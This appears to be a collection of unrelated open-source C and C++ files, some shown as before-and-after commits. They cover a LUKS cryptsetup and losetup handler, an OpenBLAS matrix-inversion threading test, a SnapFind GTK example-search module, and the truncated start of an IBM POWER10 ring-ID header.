QString LosetupHandler::findAvailableDevice()
{
SystemCommandLineCallHandler handler;
QString deviceName;
bool ret = handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << QLatin1String("-f"),
true);
deviceName = QString::fromLocal8Bit(handler.output().trimmed());
if (ret)
return deviceName;
return QString();
}
bool LosetupHandler::releaseDevice(const QString &deviceName)
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << QString::fromLatin1("-d") << deviceName);
}
/* ----------------------- CrytpsetupHandler implementation ----------------------- */
/*
Callbacks for the interface callbacks struct in crypt_options struct.
*/
static int yesDialog(char *msg)
{
Q_UNUSED(msg)
return 0;
}
static void cmdLineLog(int type, char *msg)
{
switch (type) {
case CRYPT_LOG_NORMAL:
TRACE() << msg;
break;
case CRYPT_LOG_ERROR:
TRACE() << "Error: " << msg;
break;
default:
TRACE() << "Internal error on logging class for msg: " << msg;
break;
}
}
bool CryptsetupHandler::formatFile(const QByteArray &key, const QString &deviceName)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.key_slot = SIGNON_LUKS_BASE_KEYSLOT;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.cipher = SIGNON_LUKS_CIPHER;
options.new_key_file = NULL;
char *localKey = (char *)malloc(key.length());
Q_ASSERT(localKey != NULL);
memcpy(localKey, key.constData(), key.length());
options.key_material = localKey;
options.material_size = key.length();
options.flags = 0;
options.iteration_time = 1000;
options.timeout = 0;
options.align_payload = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = 0;
cmd_icb.log = 0;
options.icb = &cmd_icb;
TRACE() << "Device: [" << options.device << "]";
TRACE() << "Key size:" << key.length();
int ret = crypt_luksFormat(&options);
if (ret != 0)
TRACE() << "LUKS format API call result:" << ret << "." << error();
if (localDeviceName)
free(localDeviceName);
if (localKey)
free(localKey);
return (ret == 0);
}
bool CryptsetupHandler::openFile(const QByteArray &key,
const QString &deviceName,
const QString &deviceMap)
{
struct crypt_options options;
char *localDeviceMap = (char *)malloc(deviceMap.length() + 1);
Q_ASSERT(localDeviceMap != NULL);
strcpy(localDeviceMap, deviceMap.toLatin1().constData());
options.name = localDeviceMap;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
char *localKey = (char *)malloc(key.length());
Q_ASSERT(localKey != NULL);
memcpy(localKey, key.constData(), key.length());
options.key_material = localKey;
options.material_size = key.length();
options.key_file = NULL;
options.timeout = 0;
/*
Do not change this:
1) In case of failure to open, libcryptsetup code will
enter infinite loop - library BUG/FEATURE.
2) There is no need for multiple tries, option is intended for
command line use of the utility.
*/
options.tries = 0;
options.flags = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
TRACE() << "Device [" << options.device << "]";
TRACE() << "Map name [" << options.name << "]";
TRACE() << "Key size:" << key.length();
int ret = crypt_luksOpen(&options);
if (ret != 0)
TRACE() << "LUKS open API call result:" << ret << "." << error() << ".";
if (localDeviceName)
free(localDeviceName);
if (localDeviceMap)
free(localDeviceMap);
if (localKey)
free(localKey);
return (ret == 0);
}
bool CryptsetupHandler::closeFile(const QString &deviceMap)
{
struct crypt_options options;
char *localDeviceMap = (char *)malloc(deviceMap.length() + 1);
Q_ASSERT(localDeviceMap != NULL);
strcpy(localDeviceMap, deviceMap.toLatin1().constData());
options.name = localDeviceMap;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
TRACE() << "Map name [" << options.name << "]";
int ret = crypt_remove_device(&options);
if (ret != 0)
TRACE() << "Cryptsetup remove API call result:" << ret << "." << error();
if (localDeviceMap)
free(localDeviceMap);
return (ret == 0);
}
bool CryptsetupHandler::removeFile(const QString &deviceName)
{
Q_UNUSED(deviceName)
//todo - delete file system (wipe credentials storege) is based on this
return false;
}
bool CryptsetupHandler::addKeySlot(const QString &deviceName,
const QByteArray &key,
const QByteArray &existingKey)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.cipher = SIGNON_LUKS_CIPHER;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.new_key_file = NULL;
options.key_file = NULL;
options.key_slot = -1;
options.key_material = existingKey.constData();
options.key_material2 = key.constData();
options.material_size = existingKey.length();
options.material_size2 = key.length();
options.flags = 0;
options.iteration_time = 1000;
options.timeout = 0;
options.tries = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
int ret = crypt_luksAddKey(&options);
if (localDeviceName)
free(localDeviceName);
if (ret != 0)
TRACE() << "Cryptsetup add key API call result:" << ret << "." << error();
return (ret == 0);
}
bool CryptsetupHandler::removeKeySlot(const QString &deviceName,
const QByteArray &key,
const QByteArray &remainingKey)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.cipher = SIGNON_LUKS_CIPHER;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.new_key_file = NULL;
options.key_file = NULL;
options.key_slot = -1;
options.key_material = key.constData();
options.key_material2 = remainingKey.constData();
options.material_size = key.length();
options.material_size2 = remainingKey.length();
options.flags = 0;
options.timeout = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
int ret = crypt_luksRemoveKey(&options);
if (localDeviceName)
free(localDeviceName);
if (ret != 0)
TRACE() << "Cryptsetup remove key API call result:" << ret << "." << error();
return (ret == 0);
}
bool CryptsetupHandler::loadDmMod()
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/modprobe"),
QStringList() << QString::fromLatin1("dm_mod"));
}
QString CryptsetupHandler::error()
{
char buf[260];
crypt_get_error(buf, 256);
return QString::fromLocal8Bit(buf);
}
} //namespace SignonDaemonNS
<|endoftext|>
|
<commit_before>#include "lapacke.h"
#include "cblas.h"
#include "external/ThreadPool.h"
#include <vector>
#include <random>
#include <chrono>
#include <iostream>
#include <list>
#include <sys/sysinfo.h>
#include <unistd.h>
using namespace std::chrono;
/**
* Calls the getrf/getri lapack routines to invert a matrix of doubles. With threading enabled this takes ~2000 times longer than without (12s vs 5ms).
*/
void invert_in_place(double* A, int m, int n, bool verbose = true)
{
if (verbose)
std::cout << "inverting " << m << "x"<< n << " matrix using dgetrf/dgetri" << std::endl;
int lda = m;
int lwork = 3 * std::max(1, n + n);
int info = 0;
std::vector<double> work(lwork);
std::vector<int> ipiv(m);
LAPACK_dgetrf(&m, &n, A, &lda, ipiv.data(), &info);
LAPACK_dgetri(&n, A, &lda, ipiv.data(), work.data(), &lwork, &info);
}
void fill_rand(double* A, int m, int n)
{
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_real_distribution<> dis(1, 10);
int length = m*n;
for (size_t i = 0; i < length; ++i)
A[i] = dis(gen);
}
int invert_random_matrix(int mat_size, bool verbose = true)
{
std::vector<double> test_matrix(mat_size*mat_size);
fill_rand(test_matrix.data(), mat_size, mat_size);
high_resolution_clock::time_point start = high_resolution_clock::now();
invert_in_place(test_matrix.data(), mat_size, mat_size, verbose);
auto invert_time = high_resolution_clock::now() - start;
auto us = duration_cast<microseconds>(invert_time).count();
if (verbose)
std::cout << "elapsed time " << us << "us" << std::endl;
return us;
}
/**
* Uses Jakob Progsch's ThreadPool implementation to invert a matrix in several threads, which triggers a segfault when run on a circleci container.
*/
void threaded_invert(int mat_size)
{
std::list<std::future<int>> results;
int thread_count = 7;
ThreadPool pool(thread_count);
for (int i = 0; i < thread_count; ++i)
{
results.emplace_back(pool.enqueue([](int mat_size) -> int
{
return invert_random_matrix(mat_size, false);
}, mat_size));
}
int thread = 0;
for (auto& result : results) {
std::cout << "result time from thread " << thread << ": " << result.get() << "us" << std::endl;
thread++;
}
}
int main(int argc, char* argv[])
{
std::cout << "openblas configured with " << openblas_get_num_threads() << " threads" << std::endl;
std::cout << "c++11 reports " << std::thread::hardware_concurrency() << " threads" << std::endl;
std::cout << "sysconf reports " << sysconf(_SC_NPROCESSORS_ONLN) << " processors" << std::endl;
std::cout << "get_nprocs reports " << get_nprocs() << " processors" << std::endl;
int mat_size = 256;
invert_random_matrix(mat_size);
std::cout << "changing openblas thread count from " << openblas_get_num_threads() << " to 1" << std::endl;
openblas_set_num_threads(1);
invert_random_matrix(mat_size);
threaded_invert(mat_size);
}
<commit_msg>Changed thread count to std::thread::hardware_concurrency.<commit_after>#include "lapacke.h"
#include "cblas.h"
#include "external/ThreadPool.h"
#include <vector>
#include <random>
#include <chrono>
#include <iostream>
#include <list>
#include <sys/sysinfo.h>
#include <unistd.h>
using namespace std::chrono;
/**
* Calls the getrf/getri lapack routines to invert a matrix of doubles. With threading enabled this takes ~2000 times longer than without (12s vs 5ms).
*/
void invert_in_place(double* A, int m, int n, bool verbose = true)
{
if (verbose)
std::cout << "inverting " << m << "x"<< n << " matrix using dgetrf/dgetri" << std::endl;
int lda = m;
int lwork = 3 * std::max(1, n + n);
int info = 0;
std::vector<double> work(lwork);
std::vector<int> ipiv(m);
LAPACK_dgetrf(&m, &n, A, &lda, ipiv.data(), &info);
LAPACK_dgetri(&n, A, &lda, ipiv.data(), work.data(), &lwork, &info);
}
void fill_rand(double* A, int m, int n)
{
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_real_distribution<> dis(1, 10);
int length = m*n;
for (size_t i = 0; i < length; ++i)
A[i] = dis(gen);
}
int invert_random_matrix(int mat_size, bool verbose = true)
{
std::vector<double> test_matrix(mat_size*mat_size);
fill_rand(test_matrix.data(), mat_size, mat_size);
high_resolution_clock::time_point start = high_resolution_clock::now();
invert_in_place(test_matrix.data(), mat_size, mat_size, verbose);
auto invert_time = high_resolution_clock::now() - start;
auto us = duration_cast<microseconds>(invert_time).count();
if (verbose)
std::cout << "elapsed time " << us << "us" << std::endl;
return us;
}
/**
* Uses Jakob Progsch's ThreadPool implementation to invert a matrix in several threads, which triggers a segfault when run on a circleci container.
*/
void threaded_invert(int mat_size)
{
std::list<std::future<int>> results;
int thread_count = (int)std::thread::hardware_concurrency();
int task_count = 8;
ThreadPool pool(thread_count);
std::cout << "inverting " << task_count << " matrices on " << thread_count << " threads" << std::endl;
for (int i = 0; i < task_count; ++i)
{
results.emplace_back(pool.enqueue([](int mat_size) -> int
{
return invert_random_matrix(mat_size, false);
}, mat_size));
}
int thread = 0;
for (auto& result : results) {
std::cout << "result time from thread " << thread << ": " << result.get() << "us" << std::endl;
thread++;
}
}
int main(int argc, char* argv[])
{
std::cout << "openblas configured with " << openblas_get_num_threads() << " threads" << std::endl;
std::cout << "c++11 reports " << std::thread::hardware_concurrency() << " threads" << std::endl;
std::cout << "sysconf reports " << sysconf(_SC_NPROCESSORS_ONLN) << " processors" << std::endl;
std::cout << "get_nprocs reports " << get_nprocs() << " processors" << std::endl;
int mat_size = 256;
invert_random_matrix(mat_size);
std::cout << "changing openblas thread count from " << openblas_get_num_threads() << " to 1" << std::endl;
openblas_set_num_threads(1);
invert_random_matrix(mat_size);
threaded_invert(mat_size);
}
<|endoftext|>
|
<commit_before>/*
* SnapFind
* An interactive image search application
* Version 1
*
* Copyright (c) 2002-2005 Intel Corporation
* All Rights Reserved.
*
* This software is distributed under the terms of the Eclipse Public
* License, Version 1.0 which can be found in the file named LICENSE.
* ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS SOFTWARE CONSTITUTES
* RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT
*/
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <gtk/gtk.h>
#include <sys/queue.h>
#include "snapfind_consts.h"
#include "rgb.h"
#include "lib_results.h"
#include "lib_sfimage.h"
#include "gtk_image_tools.h"
#include "img_search.h"
#include "import_sample.h"
/* tokens for the config file */
#define PATCH_ID "PATCHFILE"
example_search::example_search(const char *name, const char *descr)
: window_search(name, descr)
{
TAILQ_INIT(&ex_plist);
num_patches = 0;
patch_table = NULL;
patch_holder = NULL;
}
example_search::~example_search()
{
/* XXX example search destruct */
return;
}
static void
cb_remove_patch(GtkWidget *item, gpointer data)
{
example_patch_t *cur_patch;
example_search * es;
/* get the parent object and invoke the remove method */
cur_patch = (example_patch_t *)data;
es = (example_search *)cur_patch->parent;
es->remove_patch(cur_patch);
}
GtkWidget *
example_search::build_patch_table(void)
{
GtkWidget * image;
GtkWidget * del_button;
example_patch_t * cur_patch;
int i;
patch_table = gtk_table_new(num_patches + 1, 3, FALSE);
gtk_table_set_row_spacings(GTK_TABLE(patch_table), 2);
gtk_table_set_col_spacings(GTK_TABLE(patch_table), 10);
gtk_container_set_border_width(GTK_CONTAINER(patch_table), 10);
i = 0;
TAILQ_FOREACH(cur_patch, &ex_plist, link) {
image = rgbimage_to_gtkimage(cur_patch->patch_image);
gtk_table_attach(GTK_TABLE(patch_table), image, i, i + 1, 0, 1,
(GtkAttachOptions)0,(GtkAttachOptions) 0, 0, 0);
del_button = gtk_button_new_with_label("Remove");
g_signal_connect(G_OBJECT(del_button), "clicked",
G_CALLBACK(cb_remove_patch), cur_patch);
gtk_table_attach(GTK_TABLE(patch_table), del_button, i, i + 1, 1, 2,
(GtkAttachOptions)0,(GtkAttachOptions) 0, 0, 0);
i++;
}
g_object_ref(G_OBJECT(patch_table));
gtk_widget_show_all(patch_table);
return(patch_table);
}
int
example_search::add_patch(RGBImage *img, bbox_t bbox)
{
example_patch_t * cur_patch;
num_patches++;
cur_patch = (example_patch_t *)malloc(sizeof(*cur_patch));
assert(cur_patch != NULL);
/* XXX file name history */
cur_patch->file_name = NULL;
cur_patch->xoff = bbox.min_x;
cur_patch->yoff = bbox.min_y;
cur_patch->xsize = bbox.max_x - bbox.min_x;
cur_patch->ysize = bbox.max_y - bbox.min_y;
/* point to the base class */
cur_patch->parent = this;
/* Create the patch from base image*/
cur_patch->patch_image = create_rgb_subimage(img, cur_patch->xoff,
cur_patch->yoff, cur_patch->xsize, cur_patch->ysize);
/* put it on the list */
TAILQ_INSERT_TAIL(&ex_plist, cur_patch, link);
update_display();
return(1);
}
int
example_search::is_example()
{
return(1);
}
int
example_search::add_patch(char *fname, char *xoff, char *yoff, char *xsize,
char *ysize)
{
example_patch_t * cur_patch;
RGBImage * img;
num_patches++;
cur_patch = (example_patch_t *)malloc(sizeof(*cur_patch));
assert(cur_patch != NULL);
cur_patch->file_name = (char *)malloc(strlen(fname)+1);
assert(cur_patch->file_name != NULL);
strncpy(cur_patch->file_name, fname, (strlen(fname) + 1));
cur_patch->file_name[strlen(fname)] = '\0';
cur_patch->xoff = atoi(xoff);
cur_patch->yoff = atoi(yoff);
cur_patch->xsize = atoi(xsize);
cur_patch->ysize = atoi(ysize);
/* point to the base class */
cur_patch->parent = this;
/*
* We assume that the current working directory has been
* changed, so we can use the relative path.
*/
img = create_rgb_image(cur_patch->file_name);
/* XXX do popup and terminate ??? */
if (img == NULL) {
fprintf(stderr, "Failed to read patch file %s \n",
cur_patch->file_name);
free(cur_patch);
return(0);
}
cur_patch->patch_image = create_rgb_subimage(img, cur_patch->xoff,
cur_patch->yoff, cur_patch->xsize, cur_patch->ysize);
/* XXX failure cases ??*/
release_rgb_image(img);
/* put it on the list */
TAILQ_INSERT_TAIL(&ex_plist, cur_patch, link);
return(0);
}
int
example_search::handle_config(int nconf, char **data)
{
int err;
if (strcmp(PATCH_ID, data[0]) == 0) {
assert(nconf > 5);
add_patch(data[1], data[2], data[3], data[4], data[5]);
err = 0;
} else {
err = window_search::handle_config(nconf, data);
}
return(err);
}
void
example_search::update_display(void)
{
GtkWidget * table;
if (patch_holder != NULL) {
g_object_unref(G_OBJECT(patch_table));
gtk_widget_destroy(patch_table);
table = build_patch_table();
gtk_box_pack_start(GTK_BOX(patch_holder), table, FALSE, TRUE, 0);
}
}
/*
* This removes the specified example patch.
*/
void
example_search::remove_patch(example_patch_t *patch)
{
/* remove this from the list of patches */
TAILQ_REMOVE(&ex_plist, patch, link);
/* clean up the memory */
if (patch->file_name != NULL) {
free(patch->file_name);
}
free(patch);
num_patches--;
update_display();
}
static void
cb_import(GtkWidget *item, gpointer data)
{
//open_import_window();
}
GtkWidget *
example_search::example_display()
{
GtkWidget * window;
GtkWidget * table;
GtkWidget * hbox;
GtkWidget * import_button;
GtkWidget * label;
GtkWidget * sep;
window = gtk_scrolled_window_new(NULL, NULL);
patch_holder = gtk_vbox_new(FALSE, 10);
gtk_scrolled_window_add_with_viewport(GTK_SCROLLED_WINDOW(window), patch_holder);
hbox = gtk_hbox_new(FALSE, 10);
gtk_box_pack_start(GTK_BOX(patch_holder), hbox, FALSE,
TRUE, 10);
label = gtk_label_new("Example Patches: ");
gtk_box_pack_start(GTK_BOX(hbox), label, FALSE, TRUE, 10);
import_button = gtk_button_new_with_label("Import");
g_signal_connect(G_OBJECT(import_button), "clicked",
G_CALLBACK(cb_import), this);
gtk_box_pack_start(GTK_BOX(hbox), import_button, FALSE,
TRUE, 10);
sep = gtk_hseparator_new();
gtk_box_pack_start(GTK_BOX(patch_holder), sep, FALSE, TRUE, 10);
table = build_patch_table();
gtk_box_pack_start(GTK_BOX(patch_holder), table, FALSE,
TRUE, 10);
gtk_widget_show_all(window);
return(window);
}
void
example_search::close_edit_win()
{
patch_holder = NULL;
window_search::close_edit_win();
}
void
example_search::save_edits()
{
/* XXX any state cleanup */
window_search::save_edits();
}
void
example_search::write_fspec(FILE *ostream)
{
window_search::write_fspec(ostream);
return;
}
void
example_search::write_config(FILE *ostream, const char *dirname)
{
example_patch_t * cur_patch;
int i;
int err;
char fname[COMMON_MAX_PATH];
window_search::write_config(ostream, dirname);
/* for each of the samples write out the data */
i = 0;
TAILQ_FOREACH(cur_patch, &ex_plist, link) {
err = sprintf(fname, "%s.ex%d.ppm", get_name(), i);
if (err >= COMMON_MAX_PATH) {
fprintf(stderr, "COMMON_MAX_PATH too short increase to %d \n", err);
assert(0);
}
rgb_write_image(cur_patch->patch_image, fname, dirname);
/* XXX write out the file */
fprintf(ostream, "%s %s 0 0 %d %d \n", PATCH_ID, fname,
cur_patch->xsize, cur_patch->ysize);
i++;
}
return;
}
<commit_msg>In example_search::write_config, output the images to key-value pairs<commit_after>/*
* SnapFind
* An interactive image search application
* Version 1
*
* Copyright (c) 2002-2005 Intel Corporation
* All Rights Reserved.
*
* This software is distributed under the terms of the Eclipse Public
* License, Version 1.0 which can be found in the file named LICENSE.
* ANY USE, REPRODUCTION OR DISTRIBUTION OF THIS SOFTWARE CONSTITUTES
* RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT
*/
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <gtk/gtk.h>
#include <sys/queue.h>
#include "snapfind_consts.h"
#include "rgb.h"
#include "lib_results.h"
#include "lib_sfimage.h"
#include "gtk_image_tools.h"
#include "img_search.h"
#include "import_sample.h"
#include "plugin-runner.h"
/* tokens for the config file */
#define PATCH_ID "PATCHFILE"
example_search::example_search(const char *name, const char *descr)
: window_search(name, descr)
{
TAILQ_INIT(&ex_plist);
num_patches = 0;
patch_table = NULL;
patch_holder = NULL;
}
example_search::~example_search()
{
/* XXX example search destruct */
return;
}
static void
cb_remove_patch(GtkWidget *item, gpointer data)
{
example_patch_t *cur_patch;
example_search * es;
/* get the parent object and invoke the remove method */
cur_patch = (example_patch_t *)data;
es = (example_search *)cur_patch->parent;
es->remove_patch(cur_patch);
}
GtkWidget *
example_search::build_patch_table(void)
{
GtkWidget * image;
GtkWidget * del_button;
example_patch_t * cur_patch;
int i;
patch_table = gtk_table_new(num_patches + 1, 3, FALSE);
gtk_table_set_row_spacings(GTK_TABLE(patch_table), 2);
gtk_table_set_col_spacings(GTK_TABLE(patch_table), 10);
gtk_container_set_border_width(GTK_CONTAINER(patch_table), 10);
i = 0;
TAILQ_FOREACH(cur_patch, &ex_plist, link) {
image = rgbimage_to_gtkimage(cur_patch->patch_image);
gtk_table_attach(GTK_TABLE(patch_table), image, i, i + 1, 0, 1,
(GtkAttachOptions)0,(GtkAttachOptions) 0, 0, 0);
del_button = gtk_button_new_with_label("Remove");
g_signal_connect(G_OBJECT(del_button), "clicked",
G_CALLBACK(cb_remove_patch), cur_patch);
gtk_table_attach(GTK_TABLE(patch_table), del_button, i, i + 1, 1, 2,
(GtkAttachOptions)0,(GtkAttachOptions) 0, 0, 0);
i++;
}
g_object_ref(G_OBJECT(patch_table));
gtk_widget_show_all(patch_table);
return(patch_table);
}
int
example_search::add_patch(RGBImage *img, bbox_t bbox)
{
example_patch_t * cur_patch;
num_patches++;
cur_patch = (example_patch_t *)malloc(sizeof(*cur_patch));
assert(cur_patch != NULL);
/* XXX file name history */
cur_patch->file_name = NULL;
cur_patch->xoff = bbox.min_x;
cur_patch->yoff = bbox.min_y;
cur_patch->xsize = bbox.max_x - bbox.min_x;
cur_patch->ysize = bbox.max_y - bbox.min_y;
/* point to the base class */
cur_patch->parent = this;
/* Create the patch from base image*/
cur_patch->patch_image = create_rgb_subimage(img, cur_patch->xoff,
cur_patch->yoff, cur_patch->xsize, cur_patch->ysize);
/* put it on the list */
TAILQ_INSERT_TAIL(&ex_plist, cur_patch, link);
update_display();
return(1);
}
int
example_search::is_example()
{
return(1);
}
int
example_search::add_patch(char *fname, char *xoff, char *yoff, char *xsize,
char *ysize)
{
example_patch_t * cur_patch;
RGBImage * img;
num_patches++;
cur_patch = (example_patch_t *)malloc(sizeof(*cur_patch));
assert(cur_patch != NULL);
cur_patch->file_name = (char *)malloc(strlen(fname)+1);
assert(cur_patch->file_name != NULL);
strncpy(cur_patch->file_name, fname, (strlen(fname) + 1));
cur_patch->file_name[strlen(fname)] = '\0';
cur_patch->xoff = atoi(xoff);
cur_patch->yoff = atoi(yoff);
cur_patch->xsize = atoi(xsize);
cur_patch->ysize = atoi(ysize);
/* point to the base class */
cur_patch->parent = this;
/*
* We assume that the current working directory has been
* changed, so we can use the relative path.
*/
img = create_rgb_image(cur_patch->file_name);
/* XXX do popup and terminate ??? */
if (img == NULL) {
fprintf(stderr, "Failed to read patch file %s \n",
cur_patch->file_name);
free(cur_patch);
return(0);
}
cur_patch->patch_image = create_rgb_subimage(img, cur_patch->xoff,
cur_patch->yoff, cur_patch->xsize, cur_patch->ysize);
/* XXX failure cases ??*/
release_rgb_image(img);
/* put it on the list */
TAILQ_INSERT_TAIL(&ex_plist, cur_patch, link);
return(0);
}
int
example_search::handle_config(int nconf, char **data)
{
int err;
if (strcmp(PATCH_ID, data[0]) == 0) {
assert(nconf > 5);
add_patch(data[1], data[2], data[3], data[4], data[5]);
err = 0;
} else {
err = window_search::handle_config(nconf, data);
}
return(err);
}
void
example_search::update_display(void)
{
GtkWidget * table;
if (patch_holder != NULL) {
g_object_unref(G_OBJECT(patch_table));
gtk_widget_destroy(patch_table);
table = build_patch_table();
gtk_box_pack_start(GTK_BOX(patch_holder), table, FALSE, TRUE, 0);
}
}
/*
* This removes the specified example patch.
*/
void
example_search::remove_patch(example_patch_t *patch)
{
/* remove this from the list of patches */
TAILQ_REMOVE(&ex_plist, patch, link);
/* clean up the memory */
if (patch->file_name != NULL) {
free(patch->file_name);
}
free(patch);
num_patches--;
update_display();
}
static void
cb_import(GtkWidget *item, gpointer data)
{
//open_import_window();
}
GtkWidget *
example_search::example_display()
{
GtkWidget * window;
GtkWidget * table;
GtkWidget * hbox;
GtkWidget * import_button;
GtkWidget * label;
GtkWidget * sep;
window = gtk_scrolled_window_new(NULL, NULL);
patch_holder = gtk_vbox_new(FALSE, 10);
gtk_scrolled_window_add_with_viewport(GTK_SCROLLED_WINDOW(window), patch_holder);
hbox = gtk_hbox_new(FALSE, 10);
gtk_box_pack_start(GTK_BOX(patch_holder), hbox, FALSE,
TRUE, 10);
label = gtk_label_new("Example Patches: ");
gtk_box_pack_start(GTK_BOX(hbox), label, FALSE, TRUE, 10);
import_button = gtk_button_new_with_label("Import");
g_signal_connect(G_OBJECT(import_button), "clicked",
G_CALLBACK(cb_import), this);
gtk_box_pack_start(GTK_BOX(hbox), import_button, FALSE,
TRUE, 10);
sep = gtk_hseparator_new();
gtk_box_pack_start(GTK_BOX(patch_holder), sep, FALSE, TRUE, 10);
table = build_patch_table();
gtk_box_pack_start(GTK_BOX(patch_holder), table, FALSE,
TRUE, 10);
gtk_widget_show_all(window);
return(window);
}
void
example_search::close_edit_win()
{
patch_holder = NULL;
window_search::close_edit_win();
}
void
example_search::save_edits()
{
/* XXX any state cleanup */
window_search::save_edits();
}
void
example_search::write_fspec(FILE *ostream)
{
window_search::write_fspec(ostream);
return;
}
void
example_search::write_config(FILE *ostream, const char *dirname)
{
example_patch_t * cur_patch;
int i;
int err;
char fname[COMMON_MAX_PATH];
window_search::write_config(ostream, dirname);
/* for each of the samples write out the data */
i = 0;
TAILQ_FOREACH(cur_patch, &ex_plist, link) {
err = sprintf(fname, "%s.ex%d.ppm", get_name(), i);
if (err >= COMMON_MAX_PATH) {
fprintf(stderr, "COMMON_MAX_PATH too short increase to %d \n", err);
assert(0);
}
if (is_plugin_runner_mode()) {
char *ppm;
size_t ppm_size;
FILE *memfile = open_memstream(&ppm, &ppm_size);
rgb_write_image_file(cur_patch->patch_image, memfile);
fclose(memfile);
print_key_value(fname, ppm_size, ppm);
free(ppm);
} else {
rgb_write_image(cur_patch->patch_image, fname, dirname);
}
fprintf(ostream, "%s %s 0 0 %d %d \n", PATCH_ID, fname,
cur_patch->xsize, cur_patch->ysize);
i++;
}
return;
}
<|endoftext|>
|
<commit_before>/* IBM_PROLOG_BEGIN_TAG */
/* This is an automatically generated prolog. */
/* */
/* $Source: src/import/chips/p10/utils/imageProcs/p10_ring_id.H $ */
/* */
/* OpenPOWER HostBoot Project */
/* */
/* Contributors Listed Below - COPYRIGHT 2016,2019 */
/* [+] International Business Machines Corp. */
/* */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); */
/* you may not use this file except in compliance with the License. */
/* You may obtain a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, software */
/* distributed under the License is distributed on an "AS IS" BASIS, */
/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or */
/* implied. See the License for the specific language governing */
/* permissions and limitations under the License. */
/* */
/* IBM_PROLOG_END_TAG */
#ifndef _P10_RING_ID_H_
#define _P10_RING_ID_H_
///
/// @enum RingID
/// @brief Master enumeration of all conceivable Ring ID values. These values
/// are used everywhere in Infrastructure codes, ifCompiler,
/// HWPs, Cronus, ipl_customize and ipl_image_tool.
enum RingID
{
// PERV Chiplet Rings
perv_fure = 0, //0x00
perv_occ_gptr = 1, //0x01
perv_occ_repr = 2, //0x02
perv_occ_time = 3, //0x03
sbe_fure = 4, //0x04
sbe_gptr = 5, //0x05
sbe_repr = 6, //0x06
sbe_time = 7, //0x07
occ_fure = 8, //0x08
perv_dpll_func = 9, //0x09
perv_dpll_bndy = 10, //0x0A
perv_dpll_gptr = 11, //0x0B
perv_pll_func = 12, //0x0C
perv_pll_bndy = 13, //0x0D
perv_pll_gptr = 14, //0x0E
// N0 Chiplet Rings
n0_fure = 15, //0x0F
n0_gptr = 16, //0x10
n0_repr = 17, //0x11
n0_time = 18, //0x12
// N1 Chiplet Rings
n1_fure = 19, //0x13
n1_gptr = 20, //0x14
n1_repr = 21, //0x15
n1_time = 22, //0x16
n1_nmmu1_fure = 23, //0x17
n1_nmmu1_gptr = 24, //0x18
n1_nmmu1_repr = 25, //0x19
n1_nmmu1_time = 26, //0x1A
// PCI Chiplet Rings
pci_fure = 27, //0x1B
pci_gptr = 28, //0x1C
pci_repr = 29, //0x1D
pci_time = 30, //0x1E
pci_ph5_fure = 31, //0x1F
pci_ph5_gptr = 32, //0x20
pci_ph5_repr = 33, //0x21
pci_ph5_time = 34, //0x22
pci_pll_func = 35, //0x23
pci_pll_bndy = 36, //0x24
pci_pll_gptr = 37, //0x25
// MC Chiplet Rings
mc_fure = 38, //0x26
mc_gptr = 39, //0x27
mc_repr = 40, //0x28
mc_time = 41, //0x29
mc_emo_fure = 42, //0x2A
mc_emo_gptr = 43, //0x2B
mc_emo_repr = 44, //0x2C
mc_emo_time = 45, //0x2D
mc_pll_func = 46, //0x2E
mc_pll_bndy = 47, //0x2F
mc_pll_bndy_bucket_0 = 48, //0x30
mc_pll_bndy_bucket_1 = 49, //0x31
mc_pll_bndy_bucket_2 = 50, //0x32
mc_pll_bndy_bucket_3 = 51, //0x33
mc_pll_bndy_bucket_4 = 52, //0x34
mc_pll_gptr = 53, //0x35
// PAU0 Chiplet Rings
pau0_fure = 54, //0x36
pau0_gptr = 55, //0x37
pau0_repr = 56, //0x38
pau0_time = 57, //0x39
pau0_pau0_fure = 58, //0x3A
pau0_pau0_gptr = 59, //0x3B
pau0_pau0_repr = 60, //0x3C
pau0_pau0_time = 61, //0x3D
// PAU1 Chiplet Rings
pau1_fure = 62, //0x3E
pau1_gptr = 63, //0x3F
pau1_repr = 64, //0x40
pau1_time = 65, //0x41
pau1_pau3_fure = 66, //0x42
pau1_pau3_gptr = 67, //0x43
